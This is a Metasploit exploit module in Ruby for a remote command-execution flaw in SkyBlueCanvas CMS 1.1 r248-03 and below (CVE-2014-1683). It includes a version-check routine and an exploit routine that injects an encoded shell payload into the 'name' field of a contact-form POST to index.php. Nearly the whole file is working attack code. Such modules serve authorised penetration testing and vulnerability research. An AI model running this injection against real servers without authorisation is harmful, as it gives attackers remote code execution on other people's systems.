metasploit-framework/modules/exploits/unix/webapp/skybluecanvas_exec.rb

97 lines
2.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability
in SkyBlueCanvas CMS version 1.1 r248-03 and below.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Scott Parish', # Vulnerability discovery and exploit
'xistence <xistence[at]0x90.nl>' # Metasploit Module
],
'References' =>
[
['CVE', '2014-1683'],
['OSVDB', '102586'],
['BID', '65129'],
['EDB', '31183'],
['PACKETSTORM', '124948']
],
'Privileged' => false,
'Payload' =>
{
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby telnet python'
}
},
'Platform' => %w{ unix },
'Targets' =>
[
['SkyBlueCanvas 1.1 r248', {}]
],
'Arch' => ARCH_CMD,
'DisclosureDate' => 'Jan 28 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI',[true, "The path to the SkyBlueCanvas CMS installation", "/"]),
])
end
def check
uri = normalize_uri(target_uri.path.to_s, "index.php")
res = send_request_raw('uri' => uri)
if res && res.body.include?('SkyBlueCanvas [1.1 r248]')
vprint_good("SkyBlueCanvas CMS 1.1 r248-xx found")
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
uri = normalize_uri(target_uri.path.to_s, "index.php")
vprint_status("Sending request to #{uri}.")
send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_get' => { 'pid' => '4' },
'vars_post' =>
{
'cid' => '3',
'name' => "#{rand_text_alphanumeric(10)}\";#{payload.encoded};",
'email' => rand_text_alphanumeric(10),
'subject' => rand_text_alphanumeric(10),
'message' => rand_text_alphanumeric(10),
'action' => 'Send',
'mailinglist' => '0',
'cc' => '0'
}
})
end
end